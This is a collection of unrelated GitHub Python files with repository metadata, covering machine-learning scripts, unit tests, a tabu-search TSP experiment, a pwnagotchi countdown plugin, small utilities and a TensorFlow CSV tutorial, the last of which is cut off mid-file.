+{"seq_id":"9523615409","text":"import tensorflow as tf\nimport os\nfrom model import Model\nfrom util import InputHelper\n\ntf.flags.DEFINE_string('data_dir', 'data', 'data directory')\ntf.flags.DEFINE_string('train_file', 'train', 'train_file')\ntf.flags.DEFINE_string('test_file', 'test', 'test_file')\ntf.flags.DEFINE_string('model_dir', 'model', 'model directory')\ntf.flags.DEFINE_string('log_dir', 'log', 'log directory')\ntf.flags.DEFINE_string('save_dir', 'save', 'model save directory')\ntf.flags.DEFINE_string('ckpt_dir', 'checkpoint', 'checkpoint save directory')\ntf.flags.DEFINE_integer('embedding_dim', 300, 'word embedding dim')\ntf.flags.DEFINE_integer('hidden_dim', 128, 'hidden_dim default:')\ntf.flags.DEFINE_integer('num_layers', 1, 'num_layers default:2')\ntf.flags.DEFINE_integer('beam_width', 10, 'beam_width')\ntf.flags.DEFINE_float('dropout', 0.5, 'Dropout keep probability (default : 0.5)')\ntf.flags.DEFINE_float('lr', 0.001, 'learning rate (default : 0.001)')\ntf.flags.DEFINE_integer('batch_size', 64, 'Batch Size (default : 32)')\ntf.flags.DEFINE_integer('num_epochs', 10, 'num_epochs (default : 32)')\ntf.flags.DEFINE_integer('clip_grad', 5, 'clip_grad')\nFLAGS = tf.flags.FLAGS\nFLAGS.flag_values_dict()\n\n# 文件测试\nplay_helper = InputHelper(FLAGS.data_dir, FLAGS.test_file, FLAGS.batch_size, toy=True)\nvocab_size = play_helper.vocab_size\nword2id = play_helper.word2id\nid2word = dict(zip(word2id.values(), word2id.keys()))\nmodel = Model(FLAGS.hidden_dim, FLAGS.num_layers, vocab_size, FLAGS.embedding_dim, FLAGS.beam_width, forward_only=True)\nsaver = tf.train.Saver(tf.global_variables())\nwith tf.Session() as sess:\n ckpt = tf.train.latest_checkpoint(os.path.join('model', '1556093025', 'checkpoint'))\n saver.restore(sess, ckpt)\n batches = play_helper.batch_yield(shuffle=False)\n for step, (sents, keys) in enumerate(batches):\n feed = model.create_feed_dict(sents, keys, word2id, None, 1)\n prediction = sess.run(model.prediction, feed_dict=feed)\n prediction_output = [[id2word[y] for y in x] for x in prediction[:, 0, :]]\n with open(\"result.txt\", \"a\",encoding='utf-8') as f:\n for line in prediction_output:\n summary = list()\n for word in line:\n if word == \"\":\n break\n # if word not in summary:\n summary.append(word)\n print(\" \".join(summary), file=f)","repo_name":"gaoming95/Sohu","sub_path":"SohuSummary/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"53"}
+{"seq_id":"5857333816","text":"\"\"\"Run an experiment on the early exit factor\"\"\"\nimport sys\nfrom common import run_training, DEFAULT\n\nif len(sys.argv) < 2:\n print(\"Please specify the fraction over which exploration should decay\")\n sys.exit(1)\n\nARGS = DEFAULT\nARGS[\"experiment_name\"] = f\"exploration_fraction_{sys.argv[1]}\"\nARGS[\"exploration_fraction\"] = float(sys.argv[1])\nARGS[\"learning_starts\"] = (\n ARGS[\"learnsteps\"] * ARGS[\"train_freq\"] * float(sys.argv[1]) * 0.2\n)\nrun_training(**ARGS)\n","repo_name":"timokau/wsn-embedding-rl","sub_path":"experiments/exploration_fraction.py","file_name":"exploration_fraction.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"18023983131","text":"import os\n\nimport chainer\nimport chainer.functions as F\nimport numpy as np\nfrom chainer.serializers import load_npz\nfrom rdp import rdp\n\nfrom predictor import Model as QuickdrawPredictor\n\nclasses_file = 'training.json'\nmodel_file = 'model.npz'\n\n\ndef _init_classes_file():\n filename = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), classes_file) + \".classes\"\n lines = [line.rstrip() for line in open(filename, 'r').readlines()]\n return len(lines), lines\n\n\n_num_classes, _class_labels = _init_classes_file()\n\n_predictor = QuickdrawPredictor(_num_classes)\n_model_file_path = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), model_file)\nload_npz(_model_file_path, _predictor)\n\n\ndef _process_inks_step1(inks):\n drawing = inks[\"drawing\"]\n processed_stroke = []\n\n for c in drawing:\n stroke_reshape = np.array(c).T\n rdp_stroke = rdp(stroke_reshape, epsilon=2)\n processed_stroke.append(rdp_stroke.T)\n\n return processed_stroke\n\n\ndef _process_inks_step2(inks):\n \"\"\"Parse an ndjson line and return ink (as np array) and classname.\"\"\"\n stroke_lengths = [len(stroke[0]) for stroke in inks]\n total_points = sum(stroke_lengths)\n np_ink = np.zeros((total_points, 3), dtype=np.float32)\n current_t = 0\n for stroke in inks:\n for i in [0, 1]:\n np_ink[current_t:(current_t + len(stroke[0])), i] = stroke[i]\n current_t += len(stroke[0])\n np_ink[current_t - 1, 2] = 1 # stroke_end\n # Preprocessing.\n # 1. Size normalization.\n lower = np.min(np_ink[:, 0:2], axis=0)\n upper = np.max(np_ink[:, 0:2], axis=0)\n scale = upper - lower\n scale[scale == 0] = 1\n np_ink[:, 0:2] = (np_ink[:, 0:2] - lower) / scale\n # 2. Compute deltas.\n np_ink[1:, 0:2] -= np_ink[0:-1, 0:2]\n np_ink = np_ink[1:, :]\n return np_ink\n\n\ndef get_predict(inks, topN=3):\n inks = _process_inks_step1(inks)\n inks = _process_inks_step2(inks)\n\n inks = np.expand_dims(inks, axis=0)\n with chainer.using_config('train', False), chainer.no_backprop_mode():\n y = _predictor(inks)\n\n target_class_index = F.squeeze(y).data\n target_class_index = target_class_index.argsort()[-topN:][::-1]\n target_class = []\n for c in target_class_index.tolist():\n target_class.append(_class_labels[c])\n return target_class\n","repo_name":"jxpxxzj/quickdraw-chainer","sub_path":"demo/get_predict.py","file_name":"get_predict.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"29680743048","text":"def next_letter (texte, i):\n \"\"\"fonction qui renvoie la premiere lettre après le caractère situé à un indice i d'un texte\n paramètre : \n - texte : texte pour lequel on teste la fonction \n - i : indice à partir duquel on veut la prochaine lettre\"\"\"\n nextletter = 0\n if len(texte) != 0:\n if i >= 0 and i < len(texte)-1 :\n if texte[i+1].isalpha() :\n nextletter = i+1\n else :\n while texte[i].isalpha() == False:\n i = i+1\n nextletter = i\n return nextletter\n\nassert next_letter('ce, beau chaperon. ! rouge§;',24 ) == 25, \"Erreur\"\nassert next_letter('azerty',5)==0, \"Erreur\"\nassert next_letter('', 5)==0, \"Erreur\"\nassert next_letter('azerty', 15)==0, \"Erreur\"\n\ntexte = 'ce, beau chaperon. ! rouge§;'\nprint(texte[24])\nprint (next_letter('ce, beau chaperon. ! rouge§;',24 ))\nprint(next_letter('azerty',5))\n\n\ndef next_word (texte, i):\n \"\"\"cette fonction renvoie le mot qui suit la lettre située à l'indice i\n paramètre : \n - texte : texte pour lequel on teste la fonction\n - indice : indice à partir duquel on veut le prochain mot\"\"\"\n nextword = \"\"\n if len(texte) != 0:\n if i >= 0 and i < len(texte)-1 :\n while texte[i].isalpha() :\n nextword = nextword + texte[i]\n i = i+1\n return nextword\n\nassert next_word('texte pour lequel on teste la fonction', 0) == \"texte\", 'Erreur'\nassert next_word('texte pour lequel on teste la fonction', 5) == \"\", 'Erreur'\nassert next_word('', 5) == \"\", 'Erreur'\nassert next_word('texte pour lequel on teste la fonction', 136) == \"\", 'Erreur'\n\n\nprint(next_word('texte pour lequel on teste la fonction', 0))\nprint(next_word('texte pour lequel on teste la fonction', 4))\nprint(next_word('texte pour lequel on teste la fonction', 5))","repo_name":"arcorck/DUT-AS","sub_path":"S1/algo-progra/p1/tp supplémentaire/fonctions_texte.py","file_name":"fonctions_texte.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11714176602","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 19 14:56:09 2022\n\n@author: jpeacock\n\"\"\"\n\n# =============================================================================\n# Imports\n# =============================================================================\nimport unittest\nfrom pathlib import Path\nfrom mth5.utils.helpers import initialize_mth5\nfrom mth5.helpers import close_open_files\nfrom mth5.mth5 import MTH5\n\n# =============================================================================\n\n\nclass TestInitializeMTH5(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n self.wd = Path().cwd()\n self.m = MTH5()\n self.m.open_mth5(self.wd.joinpath(\"test.h5\"), mode=\"a\")\n\n def test_has_open_file(self):\n self.m = initialize_mth5(self.wd.joinpath(\"test.h5\"), \"w\")\n self.assertIsInstance(self.m, MTH5)\n\n @classmethod\n def tearDownClass(self):\n close_open_files()\n self.wd.joinpath(\"test.h5\").unlink()\n\n\nclass TestInitializeMTH502(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n self.wd = Path().cwd()\n self.m = MTH5()\n self.m.open_mth5(self.wd.joinpath(\"test.h5\"), mode=\"a\")\n\n def test_has_open_file(self):\n m = initialize_mth5(self.wd.joinpath(\"test.h5\"), \"a\")\n self.assertIsInstance(m, MTH5)\n\n @classmethod\n def tearDownClass(self):\n self.m.close_mth5()\n self.wd.joinpath(\"test.h5\").unlink()\n\n\n# =============================================================================\n# Run\n# =============================================================================\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"kujaku11/mth5","sub_path":"tests/helpers/test_initialize_mth5.py","file_name":"test_initialize_mth5.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"53"}
+{"seq_id":"5340697693","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 23 00:00:10 2017\n\n@author: hxw\ndescription:\n based on TSP model,\n use gurobi and tabu search algorithm to solve it,\n compare them and output the result.\n\"\"\"\nfrom basic_class import Instance\nfrom tsp_gurobi import gurobi_solve\nimport random\nimport copy\nimport time\nimport cPickle as pickle\nimport csv\n\n#%%\ndef tabu_solve(inst, start_time, gurobi_time, best_obj):\n #%%\n #randomly generate a initial route\n def initial_route():\n route = []\n unvisited = range(n)\n count = n\n while(count != 0):\n index = random.randint(0, count - 1)\n current = unvisited[index]\n route.append(current)\n unvisited.remove(current)\n count -= 1\n return route\n \n def cal_distance(route):\n distance = 0.0\n for i in range(n - 1):\n distance += get_edge(i, i+1, route)\n distance += get_edge(0, n-1, route)\n return distance\n \n def get_edge(index_i, index_j, route):\n if(index_i == n):\n index_i = 0\n if(index_j == n):\n index_j = 0\n return edge[route[index_i]][route[index_j]]\n \n def cal_neighbor(nid_i, nid_j, route):\n #i, j means the node id, and the index_i and index_j means the node's index in route\n index_i = route.index(nid_i)\n index_j = route.index(nid_j)\n delta = 0\n if(index_i == index_j - 1 or index_i == index_j + n - 1):\n delta += get_edge(index_i, index_j + 1, route) + get_edge(index_i - 1, index_j, route)\n delta -= get_edge(index_i - 1, index_i, route) + get_edge(index_j, index_j + 1, route)\n elif(index_i == index_j + 1 or index_j == index_i + n -1):\n delta += get_edge(index_j, index_i + 1, route) + get_edge(index_j - 1, index_i, route)\n delta -= get_edge(index_j - 1, index_j, route) + get_edge(index_i, index_i + 1, route)\n else:\n delta += get_edge(index_j, index_i - 1, route) + get_edge(index_j, index_i + 1, route)\n delta += get_edge(index_i, index_j - 1, route) + get_edge(index_i, index_j + 1, route)\n delta -= get_edge(index_i, index_i - 1, route) + get_edge(index_i, index_i + 1, route)\n delta -= get_edge(index_j, index_j - 1, route) + get_edge(index_j, index_j + 1, route)\n return delta\n \n def output_route(info, route, distance):\n print(info, ', tour:', route, ', distance:', distance)\n \n eplison = 0.000001\n iteration = 10000\n n = inst.n\n tabu_length = int(n * 0.2)\n points = inst.points\n dist = inst.dist\n edge = [([0] * n) for i in range(n)] #此赋值避免list的浅复制\n for j in range(n):\n for i in range(n):\n if(i > j):\n edge[i][j] = dist.get((i,j))\n elif(i < j):\n edge[i][j] = edge[j][i]\n #print(edge)\n \n tabu_list = [([0] * n) for i in range(n)]\n \n best = float('inf')\n best_route = list()\n local = 0.0\n \n ini_route = initial_route()\n local = cal_distance(ini_route)\n best = min(best, local)\n #output_route('initial route', ini_route, local)\n \n #search begins\n route = copy.copy(ini_route)\n best_route = copy.copy(ini_route)\n neighbors = dict()\n for i in range(n):\n for j in range(i + 1, n):\n neighbors[str(i) + ',' + str(j)] = cal_neighbor(i, j, route)\n #print(neighbors)\n \n #%% \n for k in range(iteration):\n sorted_neighbors = sorted(neighbors.items(), key = lambda item : item[1])\n #print('sort_neighbors', sorted_neighbors)\n nid_i = nid_j = 0\n flag = 0\n for neighbor in sorted_neighbors:\n nids = neighbor[0].split(',')\n nid_i = int(nids[0])\n nid_j = int(nids[1])\n delta = neighbor[1]\n temp_local = local + delta\n # aspiration criterion\n if(temp_local < best):\n local = temp_local\n best = local\n flag = 1\n else:\n if(tabu_list[nid_i][nid_j] != 0):\n continue\n else:\n local = temp_local\n break\n # update the route, by swaping the node nid_i and node nid_j\n index_i = route.index(nid_i)\n index_j = route.index(nid_j)\n route.pop(index_i)\n route.insert(index_i, nid_j)\n route.pop(index_j)\n route.insert(index_j, nid_i)\n if(flag == 1):\n best_route = copy.copy(route)\n # update the tabu_list\n for i in range(n):\n for j in range(n - i):\n if(tabu_list[i][j] != 0):\n tabu_list[i][j] -= 1\n tabu_list[nid_i][nid_j] = tabu_length\n #print(nid_i, nid_j)\n #print(tabu_list)\n # update the neighbors\n for i in range(n):\n for j in range(i + 1, n):\n neighbors[str(i) + ',' + str(j)] = cal_neighbor(i, j, route)\n #output_route('iteration : ' + str(k), route, local)\n end_time = time.clock()\n if(end_time - start_time > gurobi_time + eplison or abs(best_obj - best) < eplison):\n break\n \n result = dict()\n result['tour'] = str(best_route)\n result['cost'] = best\n return result \n\n#%%\ndef single():\n inst = Instance(100, 1)\n random.seed(inst.seed_value)\n \n start_time = time.clock()\n gurobi_result = gurobi_solve(inst)\n end_time = time.clock()\n output_time('gurobi solver : ', start_time, end_time)\n print(gurobi_result)\n \n start_time = time.clock()\n tabu_result = tabu_solve(inst)\n end_time = time.clock()\n output_time('tabu search solver : ', start_time, end_time)\n print(tabu_result)\n\n#%%\ndef multy():\n node_count_list = [10, 20, 50, 100, 200]\n #node_count_list = [50]\n result = dict()\n for node_count in node_count_list:\n seed_value = random.randint(1, 100000)\n inst = Instance(node_count, seed_value)\n random.seed(inst.seed_value)\n \n start_time = time.clock()\n gurobi_result = gurobi_solve(inst)\n end_time = time.clock()\n gurobi_time = end_time - start_time\n gurobi_result['time'] = gurobi_time\n \n start_time = time.clock()\n tabu_result = tabu_solve(inst, start_time, gurobi_time, gurobi_result['cost'])\n end_time = time.clock()\n tabu_time = end_time - start_time\n tabu_result['time'] = tabu_time\n \n result['gurobi,' + str(node_count)] = gurobi_result\n result['tabu_search,' + str(node_count)] = tabu_result\n #存储结果\n f = file('result/experiment_3.pkl', 'wb')\n pickle.dump(result, f, True)\n f.close()\n \n #处理数据,输出为csv文件\n table = [['node_count'], ['gurobi_obj'], ['gurobi_time'], ['ts_obj'], ['ts_time'], ['avg_obj_gap']]\n for node_count in node_count_list:\n table[0].append(node_count)\n gurobi_result = result['gurobi,' + str(node_count)]\n tabu_result = result['tabu_search,' + str(node_count)]\n table[1].append(gurobi_result['cost'])\n table[2].append(gurobi_result['time'])\n table[3].append(tabu_result['cost'])\n table[4].append(tabu_result['time'])\n obj_gap = (tabu_result['cost'] - gurobi_result['cost']) / gurobi_result['cost']\n table[5].append(round(obj_gap, 3))\n print(table)\n #%%\n f = open('result/experiment_3.csv', 'wb')\n writer = csv.writer(f)\n for line in table:\n writer.writerow(line)\n f.close()\n \n#%%\ndef main():\n #single()\n multy()\n\nif(__name__ == '__main__'):\n main()\n print('finished')\n","repo_name":"hanxiongwei/TabuSearch-TSP-Wechat","sub_path":"experiment_2.py","file_name":"experiment_2.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"40399965339","text":"import ast\nfrom collections import namedtuple\n\nfrom .astunparser import Unparser\n\nSrcASTToken = namedtuple(\"SrcASTToken\", \"text type\")\n\n\ndef separate_list(ast, max_len):\n \"\"\"\n Handles training / evaluation on long ASTs by splitting\n them into smaller ASTs of length max_len, with a sliding\n window of max_len / 2.\n\n Example: for an AST ast with length 1700, and max_len = 1000,\n the output will be:\n [[ast[0:1000], 0], [ast[500:1500], 1000], [ast[700:1700], 1500]]\n\n Input:\n ast : List[Dictionary]\n List of nodes in pre-order traversal.\n max_len : int\n\n Output:\n aug_asts : List[List[List, int]]\n List of (ast, beginning idx of unseen nodes)\n \"\"\"\n half_len = int(max_len / 2)\n if len(ast) <= max_len:\n return [[ast, 0]]\n\n aug_asts = [[ast[:max_len], 0]]\n i = half_len\n while i < len(ast) - max_len:\n aug_asts.append([ast[i: i + max_len], half_len])\n i += half_len\n idx = max_len - (len(ast) - (i + half_len))\n aug_asts.append([ast[-max_len:], idx])\n return aug_asts\n\n\nclass MyListFile(list):\n def write(self, text, type=None):\n text = text.strip()\n if len(text) > 0:\n self.append(SrcASTToken(text, type))\n\n def flush(self):\n pass\n\n def tokens(self):\n tokens = [tt.text for tt in self]\n return tokens\n\n def transpose(self):\n tokens = [tt.text for tt in self]\n types = [tt.type for tt in self]\n return tokens, types\n\n\ndef parse_file(filename):\n with open(filename, 'r') as reader:\n code = reader.read()\n t = ast.parse(code)\n lst = MyListFile()\n Unparser(t, lst)\n tokens, types = lst.transpose()\n del lst\n return tokens, types\n","repo_name":"CGCL-codes/naturalcc","sub_path":"ncc_dataset/raw_py150/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"53"}
+{"seq_id":"13891860675","text":"import numpy as np\n\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom sir import SIR, SIRModelEuler, SIRModelRK\n\ndef make_dataset(beta, gamma, init_state, steps, n_timesteps):\n sir = SIR(beta=beta, gamma=gamma)\n evolution, _ = sir.simulate(init_state, steps[0], steps[-1], len(steps))\n x, y = [], []\n for i in range(len(evolution) - n_timesteps):\n x.append(evolution[i, :])\n y.append(evolution[i+1 : i+1+n_timesteps, :])\n return TensorDataset(torch.tensor(x, dtype=torch.float), torch.tensor(y, dtype=torch.float))\n\nBETA = 0.3\nGAMMA = 0.2\nN_TIMESTEMPS = 40\ninit_state = np.array([1, 1e-3, 0])\ndata = make_dataset(beta=BETA, gamma=GAMMA, init_state=init_state, steps=np.linspace(0, 40, 1000), n_timesteps=N_TIMESTEMPS)\n\ndataset = DataLoader(data, batch_size=64, shuffle=True)\n# model = SIRModelEuler(step=40/1000, n_timesteps=N_TIMESTEMPS)\nmodel = SIRModelRK(step=40/1000, n_timesteps=N_TIMESTEMPS)\noptimizer = optim.Adam(model.parameters(), lr=1e-4)\nscheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, 'min', factor=0.2, min_lr=1e-8, patience=1000, verbose=True)\nloss_fn = nn.MSELoss()\nNEPOCHS = 50\n\nfor epoch in range(NEPOCHS):\n for it, (x, y) in enumerate(dataset):\n optimizer.zero_grad()\n out = model(x)\n loss = loss_fn(out, y)\n loss.backward()\n optimizer.step()\n scheduler.step(loss)\n print(f'[{epoch}] Truth: {BETA} / {GAMMA} == Model: {model.beta.item():.3f} / {model.gamma.item():.3f}')\n\nprint(BETA, GAMMA)\nprint(model.beta, model.gamma)\n","repo_name":"avirmaux/epidemic","sub_path":"sir_gd.py","file_name":"sir_gd.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8026396487","text":"#tilte of code\r\nprint(\"####################|BMI CALCUTATER|####################\")\r\n\r\n#input height and weight\r\nheight = input(\"What is your height in metres: \")\r\nweight = input(\"What is your weight in kilograms: \")\r\n\r\n#converting datatypes\r\nfinal_height = float(height)\r\nfinal_weight = int(weight)\r\n\r\n#calculating BMI\r\nBMI = final_weight / final_height ** 2\r\nfinal_bmi = int(BMI)\r\n\r\n#printing BMI\r\nprint(final_bmi)\r\n\r\n#ranging BMI\r\nif final_bmi > 18 and final_bmi < 25:\r\n print(\"Your bmi is in normal range\")\r\nelif final_bmi < 30 and final_bmi > 25:\r\n print(\"Your bmi is in overweight range\")\r\nelif final_bmi > 30:\r\n print(\"You got obesity\")\r\nelif final_bmi < 18:\r\n print(\"Your bmi is in underweight range\")\r\nelse:\r\n print(\"Information not valid\")","repo_name":"KoushikYarasani/Python-Lrn","sub_path":"BMI.py","file_name":"BMI.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8552140781","text":"# coding=utf-8\n\n\nclass PermissionLogic(object):\n \"\"\"\n Abstract permission logic class\n \"\"\"\n def get_full_permission_string(self, perm):\n \"\"\"\n Return full permission string (app_label.perm_model)\n \"\"\"\n if not getattr(self, 'model', None):\n raise AttributeError(\"You need to use `add_permission_logic` to \"\n \"register the instance to the model class \"\n \"before calling this method.\")\n app_label = self.model._meta.app_label\n model_name = self.model._meta.object_name.lower()\n return \"%s.%s_%s\" % (app_label, perm, model_name)\n\n def has_perm(self, user_obj, perm, obj=None):\n \"\"\"\n Check if user have permission (of object)\n\n Parameters\n ----------\n user_obj : django user model instance\n A django user model instance which be checked\n perm : string\n `app_label.codename` formatted permission string\n obj : None or django model instance\n None or django model instance for object permission\n\n Returns\n -------\n boolean\n Whether the specified user have specified permission (of specified\n object).\n\n .. note::\n Sub class must override this method.\n \"\"\"\n raise NotImplementedError(\n \"'%s' does not override `has_perm(user_obj, perm, obj=None)` \"\n \"method. Sub class of `PermissionLogic` must override this \"\n \"method.\")\n","repo_name":"jazzband/django-permission","sub_path":"src/permission/logics/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":303,"dataset":"github-code","pt":"53"}
+{"seq_id":"18074724643","text":"from pwnagotchi.ui.components import LabeledValue\nfrom pwnagotchi.ui.view import BLACK\nimport pwnagotchi.ui.fonts as fonts\nimport pwnagotchi.plugins as plugins\nimport pwnagotchi\nimport logging\nimport datetime\nimport math\nimport yaml\n\n\nclass Christmas(plugins.Plugin):\n __author__ = 'https://github.com/LoganMD'\n __version__ = '1.2.0'\n __license__ = 'GPL3'\n __description__ = 'Christmas Countdown timer for pwnagotchi'\n\n def on_loaded(self):\n logging.info(\"Christmas Plugin loaded.\")\n\n def on_ui_setup(self, ui):\n memenable = False\n with open('/etc/pwnagotchi/config.yml') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n\n if 'memtemp' in data[\"main\"][\"plugins\"]:\n if 'enabled' in data[\"main\"][\"plugins\"][\"memtemp\"]:\n if data[\"main\"][\"plugins\"][\"memtemp\"][\"enabled\"]:\n memenable = True\n logging.info(\"Christmas Plugin: memtemp is enabled\")\n if ui.is_waveshare_v2():\n pos = (130, 80) if memenable else (200, 80)\n ui.add_element('christmas', LabeledValue(color=BLACK, label='', value='christmas\\n',\n position=pos,\n label_font=fonts.Small, text_font=fonts.Small))\n\n def on_ui_update(self, ui):\n now = datetime.datetime.now()\n christmas = datetime.datetime(now.year, 12, 25)\n if now > christmas:\n christmas = christmas.replace(year=now.year + 1)\n\n difference = (christmas - now)\n\n days = difference.days\n hours = difference.seconds // 3600\n minutes = (difference.seconds % 3600) // 60\n\n if now.month == 12 and now.day == 25:\n ui.set('christmas', \"merry\\nchristmas!\")\n elif days == 0:\n ui.set('christmas', \"christmas\\n%dH %dM\" % (hours, minutes))\n else:\n ui.set('christmas', \"christmas\\n%dD %dH\" % (days, hours))\n","repo_name":"evilsocket/pwnagotchi-plugins-contrib","sub_path":"christmas.py","file_name":"christmas.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":201,"dataset":"github-code","pt":"53"}
+{"seq_id":"24902313237","text":"# api_utils.py\nimport requests\nfrom src.infrastructure.utils.config_utils import ConfigUtils\n\nconfig = ConfigUtils()\nAPI_HEADERS = config.get_config_object('api_headers')\nCONFIG_URL = config.get_config_object('external_urls')\n\n\ndef get_api_data(config_url_key: str, config_header_key: str, url_path: str = '', param: str = '') -> dict:\n \"\"\"\n Retrieves data from an external API.\n :return (dict): The data obtained from the API.\n \"\"\"\n api_url = CONFIG_URL[config_url_key]\n api_headers = API_HEADERS[config_header_key]\n\n if param:\n api_url = api_url.format(param=param)\n if url_path:\n api_url += f'/{url_path}'\n\n response = requests.get(api_url, headers=api_headers)\n if response.status_code == 200:\n return response.json()\n else:\n print('Error in request:', response.status_code)\n return {}\n","repo_name":"Lucas382/B3tBurner","sub_path":"src/infrastructure/utils/api_utils.py","file_name":"api_utils.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30589922696","text":"from central import control\nfrom central import dto\n\nasync def classify(text, version = 1) :\n model_name=\"SentimentClassifier\"\n model_address = await control.get_model_addr(\n model_name=model_name,\n version=version\n )\n model_result = await control.requests_http(\n address=model_address,\n data={\"text\":text}\n )\n response = dto.model.sentiment_model.ResponseModel(\n model = model_name,\n result = \"positive\",\n classIndex= model_result.get('result'),\n prob = dto.model.sentiment_model.SentimentProb(\n positive=model_result.get('prob')[0],\n neutral=model_result.get('prob')[1],\n negative=model_result.get('prob')[2]\n )\n )\n \n if model_result.get('result') == 0 :\n response.result = \"positive\"\n elif model_result.get('result') == 1 :\n response.result = \"neutral\"\n elif model_result.get('result') == 2 :\n response.result = \"negative\"\n else :\n response.result = \"unclassified\"\n \n return response","repo_name":"Keunyoung-Jung/interview-2023-repo","sub_path":"central-data-server/control/model/sentiment_model.py","file_name":"sentiment_model.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36758993844","text":"'''\n------------------------------------------------------------------------------------------\ntf.data\n csv\n------------------------------------------------------------------------------------------\n'''\n# common library\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport time\nimport datetime\nimport os\nimport platform\nimport shutil\nimport subprocess\nimport random\nfrom pathlib import Path\nfrom packaging import version\nfrom PIL import Image\nimport itertools\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\n\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\n\nprint(__doc__)\n\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\npd.options.display.max_rows = None\n\n# Display current path\nbasic_path = Path.cwd()\nPROJECT_ROOT_DIR = basic_path.joinpath('Python', 'Normal', 'tensorflow')\nprint('PROJECT_ROOT_DIR = \\n{0}\\n'.format(PROJECT_ROOT_DIR))\n\n# Display tensorflow version\nprint(\"TensorFlow version: \", tf.__version__)\nassert version.parse(tf.__version__).release[0] >= 2, \\\n\"This notebook requires TensorFlow 2.0 or above.\"\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n ' Load csv file using tf.data. \\n'\n '------------------------------------------------------------------------------------------------------\\n'\n )\n\nTRAIN_DATA_URL = \"https://storage.googleapis.com/tf-datasets/titanic/train.csv\"\nTEST_DATA_URL = \"https://storage.googleapis.com/tf-datasets/titanic/eval.csv\"\n\ntrain_file_path = tf.keras.utils.get_file(\n origin=TRAIN_DATA_URL,\n fname=PROJECT_ROOT_DIR.joinpath('original_data', 'titanic', 'train.csv')\n )\n\n\ntest_file_path = tf.keras.utils.get_file(\n origin=TEST_DATA_URL,\n fname=PROJECT_ROOT_DIR.joinpath('original_data', 'titanic', 'eval.csv')\n )\n\n# Make numpy values easier to read.\nnp.set_printoptions(precision=3, suppress=True)\n\n# output first row\nwith open(train_file_path, 'r') as f:\n names_row = f.readline()\n\nCSV_COLUMNS = names_row.rstrip('\\n').split(',')\nprint('CSV_COLUMNS = \\n{0}\\n'.format(CSV_COLUMNS))\n\n# You need to identify the column that will be the label for each sample and indicate what it is.\nLABELS = [0, 1]\nLABEL_COLUMN = 'survived'\n\nFEATURE_COLUMNS = [column for column in CSV_COLUMNS if column != LABEL_COLUMN]\n\ndef get_dataset(file_path):\n dataset = tf.data.experimental.make_csv_dataset(\n file_path,\n batch_size=12, # It is set small to make it easier to see.\n label_name=LABEL_COLUMN,\n na_value=\"?\",\n num_epochs=1,\n ignore_errors=True)\n return dataset\n\n\nraw_train_data = get_dataset(train_file_path)\nraw_test_data = get_dataset(test_file_path)\n\n'''\n-----------------------------------------------------------------------------------------------------\nThe elements that make up the dataset are batches represented as tuples of the form \n(multiple samples, multiple labels). \nThe data in the sample is organized as column-based tensors (rather than row-based tensors), \neach containing a batch-sized (12 in this case) component.\n-----------------------------------------------------------------------------------------------------\n'''\nexamples, labels = next(iter(raw_train_data))\nprint(\"EXAMPLES: \\n\", examples, \"\\n\")\nprint(\"LABELS: \\n\", labels)\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n ' Preprocessing of data. \\n'\n '------------------------------------------------------------------------------------------------------\\n'\n )\n'''\n-------------------------------------------------------------------------------------------------------\nCategory data\nSome columns in this CSV data are category columns. \nThat is, its content must be one of a limited set of options.\n\nIn this CSV, these choices are represented as text. \nThis text needs to be converted to numbers so that you can train the model. \nTo make this easier, you need to create a list of category columns and a list of their choices.\n---------------------------------------------------------------------------------------------------------\n'''\nCATEGORIES = {\n 'sex': ['male', 'female'],\n 'class' : ['First', 'Second', 'Third'],\n 'deck' : ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'],\n 'embark_town' : 